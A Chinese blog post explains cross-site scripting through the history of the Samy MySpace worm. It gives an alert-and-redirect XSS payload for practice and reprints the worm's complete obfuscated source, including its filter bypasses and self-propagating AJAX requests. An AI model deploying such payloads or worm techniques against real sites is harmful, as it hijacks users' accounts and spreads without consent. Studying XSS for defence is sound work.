第一次听说因为写了一段 JavaScript 代码入狱了

news/2024/7/19 15:07:58 标签: js, javascript, html, web, css
htmledit_views">
html" title=js>js_content">

背景

几行代码让他增粉 100W 最后入狱,他就是著名 Samy 蠕虫病毒的作者 Samy Kamkar,通过 Samy 蠕虫成功为自己新增 100W 粉丝最后入狱。这也是一个里程碑,世界上第一只 “Web 蠕虫”诞生。那么我们今天要聊的就是如何从技术的角度理解他是如何做到的。

原理

首先我们讲一下他的 Samy 蠕虫的原理。这要从 MySpace.com 开始说起,这是一个社交网站,和 FB,Twitter 等类似,所以也有好友、个人档案等。蠕虫作者写了一个脚本放到了自己的个人档案页面,当个人档案页面被浏览时候,就会自动激活代码,把当前浏览者添加到自己的好友列表,同时把脚本拷贝到浏览者的个人档案页面,这样蠕虫会继续裂变传播下去。

猎奇心理让我们继续深究,是什么技术居然可以这样?这就是注明的 XSS。XSS 全称“Cross Site Scripting”,跨站脚本攻击,其实应该叫做 CSS 对吧?主要是担心和样式表混淆,所以缩写 XSS。

XSS

XSS 是最普遍的 WEB 应用安全漏洞,尤其是微博、博客、社交平台等,攻击者个人公开页面编辑脚本,存入了 XSS 代码,网站没有对 XSS 代码进行很好的检验直接存入数据库最后被渲染到页面上,最后 XSS 代码被自动执行。同时 XSS 也是面试中非常常见的问题,了解里面的原理以后,也是有很大利好的。

XSS 本身分为三种类型

  1. 反射型 XSS ,通过用户输入的数据,反射给浏览器对用户进行攻击,比如盗取用户 Cookie,恶意广告引流。如果你有小网站的浏览经历的话,你应该见过进入页面以后直接弹框,提示你中奖了,点击以后跳转到了广告网站。其实里面的道理非常简单,你可以把如下代码放到你的页面里面试试效果。

<script>
alert("恭喜你中奖,点击领取500万奖金");location.href="https://www.mawen.co"
</script>


最简单的方式就是尽量少点击陌生的网站,如果你想自己亲自体验一下漏洞可以安装一下 bwapp,或者直接使用他的在线版本 http://bwapp.bihuo.cn/,这是一个渗透测试平台,通过右侧的选择可以尝试各种类型的渗透测试。

  1. 存储型 XSS,就是上面我们说的 Samy 蠕虫的使用方案,网站在存储内容时候没有充分对 XSS 进行检验,导致 XSS 脚本存入数据库,等到下次访问数据库渲染到页面的时候,XSS 脚本被支持,导致用户被攻击。

为了更好的理解我们可以使用 bwapp 做一个简单的演示,我们进入存储 XSS 测试地址 http://bwapp.bihuo.cn/xss_stored_1.php,然后输入如下代码,然后点击提交。

<script>
alert("恭喜你中奖,点击领取500万奖金");location.href="https://www.mawen.co"
</script>

这样以后,我们重新刷新页面,每次进来以后都会弹框,点击以后跳转到其他网址了,这就是存储的 XSS

上面的测试是最简单的测试,如果你对这个地方特别有兴趣可以安装一个 BeEF,这是一个非常渗透框架,是 The Browser Exploitation Framework 的简称,使用了 BeEF 的脚本以后你会发现,一个 JS 的脚本引入可以做的事情太多了。BeEF 源码地址 https://github.com/beefproject/beef/。防御存储型的 XSS 可以使用一些 XSS 脚本检测工具,存入数据库的时候做一些转译即可。

  1. DOM 型 XSS,这种类型其实和反射型 XSS 有很多共同点,它的定义主要是在不存在后端服务器的情况下,直接对 DOM 文档的 hack,所以这里就不做过多的解释。

Samy 源码

MySpace过滤了很多危险的HTML标签,只保留了<a>标签、<img>标签、<div>标签等“安全的标签”。所有的事件比如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。比如:

  <div style="background:url('html" title=javascript>javascript:alert(1)')">

其次,MySpace 同时还过滤了html" title=javascript>javascript、onreadystatechange等敏感词,所以 Samy 用了“拆分法”绕过这些限制。最后,Samy通过 AJAX 构造的POST请求,完成了在用户的heros列表里添加自己名字的功能,同时复制蠕虫自身进行传播。下面是全部的蠕虫代码,有兴趣的可以详细看下。

<div id=mycode style="BACKGROUND: url('html" title=javascript>javascript:eval(document.all.mycode.expr)')"
expr="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
  var C;
  try{
    var D=document.body.createTextRange();
    C=D.htmlText
  }catch(e){
  }

  if(C){
    return C
  }else{
  return eval('document.body.inne'+'rHTML')
  }
}

function getData(AU){
  M=getFromURL(AU,'friendID');
  L=getFromURL(AU,'Mytoken')
}

function getQueryParams(){
  var E=document.location.search;
  var F=E.substring(1,E.length).split('&');
  var AS=new Array();

  for(var O=0;O<F.length;O++){
    var I=F[O].split('=');
    AS[I[0]]=I[1]}return AS
  }

  var J;
  var AS=getQueryParams();
  var L=AS['Mytoken'];
  var M=AS['friendID'];

  if(location.hostname=='profile.myspace.com'){
    document.location='http://www.myspace.com'+location.pathname+location.search
  }else{
    if(!M){
      getData(g())
    }
    main()
  }

  function getClientFID(){
    return findIn(g(),'up_launchIC( '+A,A)
  }

  function nothing(){}

  function paramsToString(AV){
    var N=new String();
    var O=0;
    for(var P in AV){
      if(O>0){
        N+='&'
      }
      var Q=escape(AV[P]);

      while(Q.indexOf('+')!=-1){
        Q=Q.replace('+','%2B')
      }

      while(Q.indexOf('&')!=-1){
        Q=Q.replace('&','%26')
      }

      N+=P+'='+Q;
      O++
    }
    return N
  }
  function httpSend(BH,BI,BJ,BK){
    if(!J){
      return false
    }

    eval('J.onr'+'eadystatechange=BI');

    J.open(BJ,BH,true);

    if(BJ=='POST'){
      J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
      J.setRequestHeader('Content-Length',BK.length)
    }

    J.send(BK);

    return true
  }

  function findIn(BF,BB,BC){
    var R=BF.indexOf(BB)+BB.length;
    var S=BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
  }

  function getHiddenParameter(BF,BG){
    return findIn(BF,'name='+B+BG+B+' value='+B,B)
  }

  function getFromURL(BF,BG){
    var T;
    if(BG=='Mytoken'){
      T=B
    }else{
      T='&'
    }

    var U=BG+'=';
    var V=BF.indexOf(U)+U.length;
    var W=BF.substring(V,V+1024);
    var X=W.indexOf(T);
    var Y=W.substring(0,X);
    return Y
  }

  function getXMLObj(){
    var Z=false;
    if(window.XMLHttpRequest){
      try{
        Z=new XMLHttpRequest()
      }catch(e){
        Z=false
      }
    }else if(window.ActiveXObject){
      try{
        Z=new ActiveXObject('Msxml2.XMLHTTP')
      }catch(e){
        try{
          Z=new ActiveXObject('Microsoft.XMLHTTP')
        }catch(e){
          Z=false
        }
      }
    }
    return Z
  }

  var AA=g();
  var AB=AA.indexOf('m'+'ycode');
  var AC=AA.substring(AB,AB+4096);
  var AD=AC.indexOf('D'+'IV');
  var AE=AC.substring(0,AD);
  var AF;

  if(AE){
    AE=AE.replace('jav'+'a',A+'jav'+'a');
    AE=AE.replace('exp'+'r)','exp'+'r)'+A);
    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
  }

  var AG;

  function getHome(){
    if(J.readyState!=4){
      return
    }

    var AU=J.responseText;
    AG=findIn(AU,'P'+'rofileHeroes','</td>');
    AG=AG.substring(61,AG.length);

    if(AG.indexOf('samy')==-1){
      if(AF){
        AG+=AF;
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['interestLabel']='heroes';
        AS['submit']='Preview';
        AS['interest']=AG;
        J=getXMLObj();
        httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,
'POST',paramsToString(AS))
      }
    }
  }

  function postHero(){
    if(J.readyState!=4){
      return
    }

    var AU=J.responseText;
    var AR=getFromURL(AU,'Mytoken');
    var AS=new Array();
    AS['interestLabel']='heroes';
    AS['submit']='Submit';
    AS['interest']=AG;
    AS['hash']=getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,
'POST',paramsToString(AS))
  }

  function main(){
    var AN=getClientFID();
    var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J=getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2=getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&
Mytoken=' +L,processxForm,'GET')
  }

  function processxForm(){
    if(xmlhttp2.readyState!=4){
    return
  }

  var AU=xmlhttp2.responseText;
  var AQ=getHiddenParameter(AU,'hashcode');
  var AR=getFromURL(AU,'Mytoken');
  var AS=new Array();
  AS['hashcode']=AQ;
  AS['friendID']='11851658';
  AS['submit']='Add to Friends';
  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,
'POST',paramsToString(AS))
}

function httpSend2(BH,BI,BJ,BK){
  if(!xmlhttp2){
    return false
  }

  eval('xmlhttp2.onr'+'eadystatechange=BI');
  xmlhttp2.open(BJ,BH,true);

  if(BJ=='POST'){
    xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length',BK.length)}
    xmlhttp2.send(BK);
    return true
  }">
</DIV>

往期精彩回顾

让人又爱又恨的 Lombok,到底该不该用

Delombok 是个啥?居然可破 Lombok?

跳槽的必要条件是有一份好的简历

时候为自己的后半生考虑了——致奔三的互联网人

点个赞呗


http://www.niftyadmin.cn/n/1332062.html

相关文章

面试前端岗位接连碰壁,企业到底需要哪种前端工程师?

提到前端工程师&#xff0c;很多人的第一反应都是&#xff1a;那个工资高&#xff0c;门槛低的职业。没错&#xff0c;也正因如此&#xff0c;越来越多的人开始投入前端岗位。可是有些人似乎不太了解前端岗位为何如此高薪&#xff0c;认为自己看了些教程&#xff0c;读了几本书…

阿里一面:如何保障消息100%投递成功、消息幂等性?

前言我们小伙伴应该都听说够消息中间件MQ&#xff0c;如&#xff1a;RabbitMQ&#xff0c;RocketMQ&#xff0c;Kafka等。引入中间件的好处可以起到抗高并发&#xff0c;削峰&#xff0c;业务解耦的作用。如上图&#xff1a;&#xff08;1&#xff09;订单服务投递消息给MQ中间…

一款号称最适合程序员的编程字体

点击上方 果汁简历 &#xff0c;选择“置顶公众号”优质文章&#xff0c;第一时间送达JetBrains在2020年的时候推出了一种新字体&#xff0c;即JetBrains Mono&#xff0c;它是专为开发人员设计的。JetBrains表示&#xff1a;在当今的大部分时间里&#xff0c;我们作为开发人员…

面试官:String长度有限制吗?是多少?

点击上方“果汁简历”&#xff0c;选择“置顶公众号”前言话说Java中String是有长度限制的&#xff0c;听到这里很多人不禁要问&#xff0c;String还有长度限制&#xff1f;是的有&#xff0c;而且在JVM编译中还有规范&#xff0c;而且有的家人们在面试的时候也遇到了&#xff…

2020年国内互联网公司的薪酬排名!

点击上方“果汁简历”&#xff0c;选择“置顶公众号”我们对2020年国内互联网公司的薪酬按照职级做了排名。为了统一不同公司之间的职级体系&#xff0c;我们以初级&#xff0c;中级&#xff0c;高级和资深工程师来统计薪酬。为了保证一定的准确性&#xff0c;一些公司的职级因…

Java 8 开发的 4 大顶级技巧,你都知道吗 ?

来源&#xff1a;dzone.com/articles/java-8-top-tips我使用Java 8编码已经有些年头&#xff0c;既用于新的应用程序&#xff0c;也用来迁移现有的应用&#xff0c;感觉是时候写一些我发现的非常有用的“最佳实践”。我个人并不喜欢“最佳实践”这个说法&#xff0c;因为它意味…

23 种设计模式的通俗解释,虽然有点污,但是秒懂

点击上方蓝色字体&#xff0c;选择“设置星标”优质文章&#xff0c;第一时间送达来源 | zhuanlan.zhihu.com/p/10074672401 工厂方法追 MM 少不了请吃饭了&#xff0c;麦当劳的鸡翅和肯德基的鸡翅都是 MM 爱吃的东西&#xff0c;虽然口味有所不同&#xff0c;但不管你带 MM 去…

抛弃PDF,事实证明,个人主页更牛B!

作为一个程序员来说&#xff0c;简历可谓是面试的时候一个加分砝码&#xff0c;往往有的面试者只在意自己的技术&#xff0c;其实这是非常不对的。简历对于一个面试者来说非常重要&#xff0c;他是第一个入口&#xff0c;也是面试官认识你的第一个途径。不管是对于刚毕业或者即…